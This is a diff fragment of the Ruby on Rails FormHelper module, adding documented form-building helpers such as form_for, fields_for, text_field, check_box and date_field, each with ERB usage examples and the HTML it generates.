+      #   <tt>:url</tt> option is not specified, by default the form will be
+      #   sent back to the current url (We will describe below an alternative
+      #   resource-oriented usage of +form_for+ in which the URL does not need
+      #   to be specified explicitly).
+      # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+      #   id attributes on form elements. The namespace attribute will be prefixed
+      #   with underscore on the generated HTML id.
+      # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+      #
+      # Also note that +form_for+ doesn't create an exclusive scope. It's still
+      # possible to use both the stand-alone FormHelper methods and methods
+      # from FormTagHelper. For example:
+      #
+      #   <%= form_for :person do |f| %>
+      #     First name: <%= f.text_field :first_name %>
+      #     Last name : <%= f.text_field :last_name %>
+      #     Biography : <%= text_area :person, :biography %>
+      #     Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # This also works for the methods in FormOptionHelper and DateHelper that
+      # are designed to work with an object as base, like
+      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === #form_for with a model object
+      #
+      # In the examples above, the object to be created or edited was
+      # represented by a symbol passed to +form_for+, and we noted that
+      # a string can also be used equivalently. It is also possible, however,
+      # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+      # is an existing record you wish to edit, you can create the form using
+      #
+      #   <%= form_for @post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # This behaves in almost the same way as outlined previously, with a
+      # couple of small exceptions. First, the prefix used to name the input
+      # elements within the form (hence the key that denotes them in the +params+
+      # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+      # if the object's class is +Post+. However, this can be overwritten using
+      # the <tt>:as</tt> option, e.g. -
+      #
+      #   <%= form_for(@person, as: :client) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would result in <tt>params[:client]</tt>.
+      #
+      # Secondly, the field values shown when the form is initially displayed
+      # are taken from the attributes of the object passed to +form_for+,
+      # regardless of whether the object is an instance
+      # variable. So, for example, if we had a _local_ variable +post+
+      # representing an existing record,
+      #
+      #   <%= form_for post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # would produce a form with fields whose initial state reflect the current
+      # values of the attributes of +post+.
+      #
+      # === Resource-oriented style
+      #
+      # In the examples just shown, although not indicated explicitly, we still
+      # need to use the <tt>:url</tt> option in order to specify where the
+      # form is going to be sent. However, further simplification is possible
+      # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+      # to a set of RESTful routes, e.g. defined using the +resources+ method
+      # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+      # appropriate URL from the record itself. For example,
+      #
+      #   <%= form_for @post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # is then equivalent to something like:
+      #
+      #   <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # And for a new record
+      #
+      #   <%= form_for(Post.new) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # is equivalent to something like:
+      #
+      #   <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # However you can still overwrite individual conventions, such as:
+      #
+      #   <%= form_for(@post, url: super_posts_path) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # You can also set the answer format, like this:
+      #
+      #   <%= form_for(@post, format: :json) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # For namespaced routes, like +admin_post_url+:
+      #
+      #   <%= form_for([:admin, @post]) do |f| %>
+      #    ...
+      #   <% end %>
+      #
+      # If your resource has associations defined, for example, you want to add comments
+      # to the document given that the routes are set correctly:
+      #
+      #   <%= form_for([@document, @comment]) do |f| %>
+      #    ...
+      #   <% end %>
+      #
+      # Where <tt>@document = Document.find(params[:id])</tt> and
+      # <tt>@comment = Comment.new</tt>.
+      #
+      # === Setting the method
+      #
+      # You can force the form to use the full array of HTTP verbs by setting
+      #
+      #    method: (:get|:post|:patch|:put|:delete)
+      #
+      # in the options hash. If the verb is not GET or POST, which are natively
+      # supported by HTML forms, the form will be set to POST and a hidden input
+      # called _method will carry the intended verb for the server to interpret.
+      #
+      # === Unobtrusive JavaScript
+      #
+      # Specifying:
+      #
+      #    remote: true
+      #
+      # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
+      # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
+      # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
+      # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
+      # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+      #
+      # Example:
+      #
+      #   <%= form_for(@post, remote: true) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # The HTML generated for this would be:
+      #
+      #   <form action='http://www.example.com' method='post' data-remote='true'>
+      #     <div style='display:none'>
+      #       <input name='_method' type='hidden' value='patch' />
+      #     </div>
+      #     ...
+      #   </form>
+      #
+      # === Setting HTML options
+      #
+      # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+      # the HTML key. Example:
+      #
+      #   <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # The HTML generated for this would be:
+      #
+      #   <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+      #     <div style='display:none'>
+      #       <input name='_method' type='hidden' value='patch' />
+      #     </div>
+      #     ...
+      #   </form>
+      #
+      # === Removing hidden model id's
+      #
+      # The form_for method automatically includes the model id as a hidden field in the form.
+      # This is used to maintain the correlation between the form data and its associated model.
+      # Some ORM systems do not use IDs on nested models so in this case you want to be able
+      # to disable the hidden id.
+      #
+      # In the following example the Post model has many Comments stored within it in a NoSQL database,
+      # thus there is no primary key for comments.
+      #
+      # Example:
+      #
+      #   <%= form_for(@post) do |f| %>
+      #     <%= f.fields_for(:comments, include_id: false) do |cf| %>
+      #       ...
+      #     <% end %>
+      #   <% end %>
+      #
+      # === Customized form builders
+      #
+      # You can also build forms using a customized FormBuilder class. Subclass
+      # FormBuilder and override or define some more helpers, then use your
+      # custom builder. For example, let's say you made a helper to
+      # automatically add labels to form inputs.
+      #
+      #   <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+      #     <%= f.text_field :first_name %>
+      #     <%= f.text_field :last_name %>
+      #     <%= f.text_area :biography %>
+      #     <%= f.check_box :admin %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # In this case, if you use this:
+      #
+      #   <%= render f %>
+      #
+      # The rendered template is <tt>people/_labelling_form</tt> and the local
+      # variable referencing the form builder is called
+      # <tt>labelling_form</tt>.
+      #
+      # The custom FormBuilder class is automatically merged with the options
+      # of a nested fields_for call, unless it's explicitly set.
+      #
+      # In many cases you will want to wrap the above in another helper, so you
+      # could do something like the following:
+      #
+      #   def labelled_form_for(record_or_name_or_array, *args, &block)
+      #     options = args.extract_options!
+      #     form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
+      #   end
+      #
+      # If you don't need to attach a form to a model instance, then check out
+      # FormTagHelper#form_tag.
+      #
+      # === Form to external resources
+      #
+      # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
+      # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
+      #
+      # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
+      #
+      #   <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
+      #     ...
+      #   <% end %>
+      #
+      # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
+      #
+      #   <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
+      #     ...
+      #   <% end %>
+      def form_for(record, options = {}, &block)
+        raise ArgumentError, "Missing block" unless block_given?
+        html_options = options[:html] ||= {}
+
+        case record
+        when String, Symbol
+          object_name = record
+          object      = nil
+        else
+          object      = record.is_a?(Array) ? record.last : record
+          raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
+          object_name = options[:as] || model_name_from_record_or_class(object).param_key
+          apply_form_for_options!(record, object, options)
+        end
+
+        html_options[:data]   = options.delete(:data)   if options.has_key?(:data)
+        html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
+        html_options[:method] = options.delete(:method) if options.has_key?(:method)
+        html_options[:authenticity_token] = options.delete(:authenticity_token)
+
+        builder = instantiate_builder(object_name, object, options)
+        output  = capture(builder, &block)
+        html_options[:multipart] ||= builder.multipart?
+
+        form_tag(options[:url] || {}, html_options) { output }
+      end
+
+      def apply_form_for_options!(record, object, options) #:nodoc:
+        object = convert_to_model(object)
+
+        as = options[:as]
+        namespace = options[:namespace]
+        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
+        options[:html].reverse_merge!(
+          class:  as ? "#{action}_#{as}" : dom_class(object, action),
+          id:     (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
+          method: method
+        )
+
+        options[:url] ||= polymorphic_path(record, format: options.delete(:format))
+      end
+      private :apply_form_for_options!
+
+      # Creates a scope around a specific model object like form_for, but
+      # doesn't create the form tags themselves. This makes fields_for suitable
+      # for specifying additional model objects in the same form.
+      #
+      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+      # its method signature is slightly different. Like +form_for+, it yields
+      # a FormBuilder object associated with a particular model object to a block,
+      # and within the block allows methods to be called on the builder to
+      # generate fields associated with the model object. Fields may reflect
+      # a model object in two ways - how they are named (hence how submitted
+      # values appear within the +params+ hash in the controller) and what
+      # default values are shown when the form the fields appear in is first
+      # displayed. In order for both of these features to be specified independently,
+      # both an object name (represented by either a symbol or string) and the
+      # object itself can be passed to the method separately -
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     First name: <%= person_form.text_field :first_name %>
+      #     Last name : <%= person_form.text_field :last_name %>
+      #
+      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
+      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #     <% end %>
+      #
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # In this case, the checkbox field will be represented by an HTML +input+
+      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+      # If <tt>@person.permission</tt> is an existing record with an attribute
+      # +admin+, the initial state of the checkbox when first displayed will
+      # reflect the value of <tt>@person.permission.admin</tt>.
+      #
+      # Often this can be simplified by passing just the name of the model
+      # object to +fields_for+ -
+      #
+      #   <%= fields_for :permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+      # instance variable <tt>@permission</tt>, the initial state of the input
+      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+      #
+      # Alternatively, you can pass just the model object itself (if the first
+      # argument isn't a string or symbol +fields_for+ will realize that the
+      # name has been omitted) -
+      #
+      #   <%= fields_for @person.permission do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # and +fields_for+ will derive the required name of the field from the
+      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+      #
+      # Note: This also works for the methods in FormOptionHelper and
+      # DateHelper that are designed to work with an object as base, like
+      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Nested Attributes Examples
+      #
+      # When the object belonging to the current scope has a nested attribute
+      # writer for a certain attribute, fields_for will yield a new scope
+      # for that attribute. This allows you to create forms that set or change
+      # the attributes of a parent object and its associations in one go.
+      #
+      # Nested attribute writers are normal setter methods named after an
+      # association. The most common way of defining these writers is either
+      # with +accepts_nested_attributes_for+ in a model definition or by
+      # defining a method with the proper name. For example: the attribute
+      # writer for the association <tt>:address</tt> is called
+      # <tt>address_attributes=</tt>.
+      #
+      # Whether a one-to-one or one-to-many style form builder will be yielded
+      # depends on whether the normal reader method returns a _single_ object
+      # or an _array_ of objects.
+      #
+      # ==== One-to-one
+      #
+      # Consider a Person class which returns a _single_ Address from the
+      # <tt>address</tt> reader method and responds to the
+      # <tt>address_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def address
+      #       @address
+      #     end
+      #
+      #     def address_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for, like so:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       Street  : <%= address_fields.text_field :street %>
+      #       Zip code: <%= address_fields.text_field :zip_code %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When address is already an association on a Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address
+      #   end
+      #
+      # If you want to destroy the associated model through the form, you have
+      # to enable it first using the <tt>:allow_destroy</tt> option for
+      # +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address, allow_destroy: true
+      #   end
+      #
+      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+      # with a value that evaluates to +true+, you will destroy the associated
+      # model (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :address do |address_fields| %>
+      #       ...
+      #       Delete: <%= address_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # ==== One-to-many
+      #
+      # Consider a Person class which returns an _array_ of Project instances
+      # from the <tt>projects</tt> reader method and responds to the
+      # <tt>projects_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def projects
+      #       [@project1, @project2]
+      #     end
+      #
+      #     def projects_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # Note that the <tt>projects_attributes=</tt> writer method is in fact
+      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # collection, and the correct indices to be set in the form markup.
+      #
+      # When projects is already an association on Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects
+      #   end
+      #
+      # This model can now be used with a nested fields_for. The block given to
+      # the nested fields_for call will be repeated for each instance in the
+      # collection:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       <% if project_fields.object.active? %>
+      #         Name: <%= project_fields.text_field :name %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # It's also possible to specify the instance to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <% @person.projects.each do |project| %>
+      #       <% if project.active? %>
+      #         <%= person_form.fields_for :projects, project do |project_fields| %>
+      #           Name: <%= project_fields.text_field :name %>
+      #         <% end %>
+      #       <% end %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Or a collection to be used:
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+      #       Name: <%= project_fields.text_field :name %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # If you want to destroy any of the associated models through the
+      # form, you have to enable it first using the <tt>:allow_destroy</tt>
+      # option for +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects, allow_destroy: true
+      #   end
+      #
+      # This will allow you to specify which models to destroy in the
+      # attributes hash by adding a form element for the <tt>_destroy</tt>
+      # parameter with a value that evaluates to +true+
+      # (eg. 1, '1', true, or 'true'):
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Delete: <%= project_fields.check_box :_destroy %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # When a collection is used you might want to know the index of each
+      # object into the array. For this purpose, the <tt>index</tt> method
+      # is available in the FormBuilder object.
+      #
+      #   <%= form_for @person do |person_form| %>
+      #     ...
+      #     <%= person_form.fields_for :projects do |project_fields| %>
+      #       Project #<%= project_fields.index %>
+      #       ...
+      #     <% end %>
+      #     ...
+      #   <% end %>
+      #
+      # Note that fields_for will automatically generate a hidden field
+      # to store the ID of the record. There are circumstances where this
+      # hidden field is not needed and you can pass <tt>include_id: false</tt>
+      # to prevent fields_for from rendering it automatically.
+      def fields_for(record_name, record_object = nil, options = {}, &block)
+        builder = instantiate_builder(record_name, record_object, options)
+        capture(builder, &block)
+      end
+
+      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+      # target labels for radio_button tags (where the value is used in the ID of the input tag).
+      #
+      # ==== Examples
+      #   label(:post, :title)
+      #   # => <label for="post_title">Title</label>
+      #
+      # You can localize your labels based on model and attribute names.
+      # For example you can define the following in your locale (e.g. en.yml)
+      #
+      #   helpers:
+      #     label:
+      #       post:
+      #         body: "Write your entire text here"
+      #
+      # Which then will result in
+      #
+      #   label(:post, :body)
+      #   # => <label for="post_body">Write your entire text here</label>
+      #
+      # Localization can also be based purely on the translation of the attribute-name
+      # (if you are using ActiveRecord):
+      #
+      #   activerecord:
+      #     attributes:
+      #       post:
+      #         cost: "Total cost"
+      #
+      #   label(:post, :cost)
+      #   # => <label for="post_cost">Total cost</label>
+      #
+      #   label(:post, :title, "A short title")
+      #   # => <label for="post_title">A short title</label>
+      #
+      #   label(:post, :title, "A short title", class: "title_label")
+      #   # => <label for="post_title" class="title_label">A short title</label>
+      #
+      #   label(:post, :privacy, "Public Post", value: "public")
+      #   # => <label for="post_privacy_public">Public Post</label>
+      #
+      #   label(:post, :terms) do
+      #     'Accept <a href="/terms">Terms</a>.'.html_safe
+      #   end
+      def label(object_name, method, content_or_options = nil, options = nil, &block)
+        Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
+      end
+
+      # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   text_field(:post, :title, size: 20)
+      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+      #
+      #   text_field(:post, :title, class: "create_input")
+      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+      #
+      #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
+      #
+      #   text_field(:snippet, :code, size: 20, class: 'code_input')
+      #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+      def text_field(object_name, method, options = {})
+        Tags::TextField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
+      #
+      # ==== Examples
+      #   password_field(:login, :pass, size: 20)
+      #   # => <input type="password" id="login_pass" name="login[pass]" size="20" />
+      #
+      #   password_field(:account, :secret, class: "form_input", value: @account.secret)
+      #   # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+      #
+      #   password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
+      #   # => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
+      #
+      #   password_field(:account, :pin, size: 20, class: 'form_input')
+      #   # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
+      def password_field(object_name, method, options = {})
+        Tags::PasswordField.new(object_name, method, self, options).render
+      end
+
+      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   hidden_field(:signup, :pass_confirm)
+      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+      #
+      #   hidden_field(:post, :tag_list)
+      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+      #
+      #   hidden_field(:user, :token)
+      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+      def hidden_field(object_name, method, options = {})
+        Tags::HiddenField.new(object_name, method, self, options).render
+      end
+
+      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      #
+      # ==== Options
+      # * Creates standard HTML attributes for the tag.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+      #
+      # ==== Examples
+      #   file_field(:user, :avatar)
+      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
+      #
+      #   file_field(:post, :image, :multiple => true)
+      #   # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+      #
+      #   file_field(:post, :attached, accept: 'text/html')
+      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #
+      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #
+      #   file_field(:attachment, :file, class: 'file_input')
+      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      def file_field(object_name, method, options = {})
+        Tags::FileField.new(object_name, method, self, options).render
+      end
+
+      # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
+      # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+.
+      #
+      # ==== Examples
+      #   text_area(:post, :body, cols: 20, rows: 40)
+      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
+      #   #      #{@post.body}
+      #   #    </textarea>
+      #
+      #   text_area(:comment, :text, size: "20x30")
+      #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+      #   #      #{@comment.text}
+      #   #    </textarea>
+      #
+      #   text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+      #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+      #   #      #{@application.notes}
+      #   #    </textarea>
+      #
+      #   text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+      #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+      #   #      #{@entry.body}
+      #   #    </textarea>
+      def text_area(object_name, method, options = {})
+        Tags::TextArea.new(object_name, method, self, options).render
+      end
+
+      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says unchecked check boxes are not successful, and
+      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @invoice.update(params[:invoice])
+      #
+      # wouldn't update the flag.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # the very check box. The hidden field has the same name and its
+      # attributes mimic an unchecked check box.
+      #
+      # This way, the client either sends only the hidden field (representing
+      # the check box is unchecked), or both fields. Since the HTML specification
+      # says key/value pairs have to be sent in the same order they appear in the
+      # form, and parameters extraction gets the last occurrence of any repeated
+      # key in the query string, that works for ordinary forms.
+      #
+      # Unfortunately that workaround does not work when the check box goes
+      # within an array-like parameter, as in
+      #
+      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+      #     <%= form.check_box :paid %>
+      #     ...
+      #   <% end %>
+      #
+      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # the elements of the array. For each item with a checked check box you
+      # get an extra ghost item with only that attribute, assigned to "0".
+      #
+      # In that case it is preferable to either use +check_box_tag+ or to use
+      # hashes instead of arrays.
+      #
+      #   # Let's say that @post.validated? is 1:
+      #   check_box("post", "validated")
+      #   # => <input name="post[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #
+      #   # Let's say that @puppy.gooddog is "no":
+      #   check_box("puppy", "gooddog", {}, "yes", "no")
+      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
+      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+      #
+      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+      #   # => <input name="eula[accepted]" type="hidden" value="no" />
+      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+        Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
+      end
+
+      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+      # radio button will be checked.
+      #
+      # To force the radio button to be checked pass <tt>checked: true</tt> in the
+      # +options+ hash. You may pass HTML options there as well.
+      #
+      #   # Let's say that @post.category returns "rails":
+      #   radio_button("post", "category", "rails")
+      #   radio_button("post", "category", "java")
+      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #
+      #   radio_button("user", "receive_newsletter", "yes")
+      #   radio_button("user", "receive_newsletter", "no")
+      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+      def radio_button(object_name, method, tag_value, options = {})
+        Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+      end
+
+      # Returns a text_field of type "color".
+      #
+      #   color_field("car", "color")
+      #   # => <input id="car_color" name="car[color]" type="color" value="#000000" />
+      def color_field(object_name, method, options = {})
+        Tags::ColorField.new(object_name, method, self, options).render
+      end
+
+      # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
+      # some browsers.
+      #
+      #   search_field(:user, :name)
+      #   # => <input id="user_name" name="user[name]" type="search" />
+      #   search_field(:user, :name, autosave: false)
+      #   # => <input autosave="false" id="user_name" name="user[name]" type="search" />
+      #   search_field(:user, :name, results: 3)
+      #   # => <input id="user_name" name="user[name]" results="3" type="search" />
+      #   #  Assume request.host returns "www.example.com"
+      #   search_field(:user, :name, autosave: true)
+      #   # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
+      #   search_field(:user, :name, onsearch: true)
+      #   # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+      #   search_field(:user, :name, autosave: false, onsearch: true)
+      #   # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+      #   search_field(:user, :name, autosave: true, onsearch: true)
+      #   # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
+      def search_field(object_name, method, options = {})
+        Tags::SearchField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "tel".
+      #
+      #   telephone_field("user", "phone")
+      #   # => <input id="user_phone" name="user[phone]" type="tel" />
+      #
+      def telephone_field(object_name, method, options = {})
+        Tags::TelField.new(object_name, method, self, options).render
+      end
+      # aliases telephone_field
+      alias phone_field telephone_field
+
+      # Returns a text_field of type "date".
+      #
+      #   date_field("user", "born_on")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" />
+      #
+      # The default value is generated by trying to call "to_date"
+      # on the object's value, which makes it behave as expected for instances
+      # of DateTime and ActiveSupport::TimeWithZone. You can still override that
+      # by passing the "value" option explicitly, e.g.
+      #
+      #   @user.born_on = Date.new(1984, 1, 27)
+      #   date_field("user", "born_on", value: "1984-05-12")
+      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+      #
+      def date_field(object_name, method, options = {})
+        Tags::DateField.new(object_name, method, self, options).render
+      end
+
+      # Returns a text_field of type "time".
+      #
+      # The default value is generated by trying to call +strftime+ with "%T.%L"
+      # on the objects's value. It is still possible to override that
+      # by passing the "value" option.
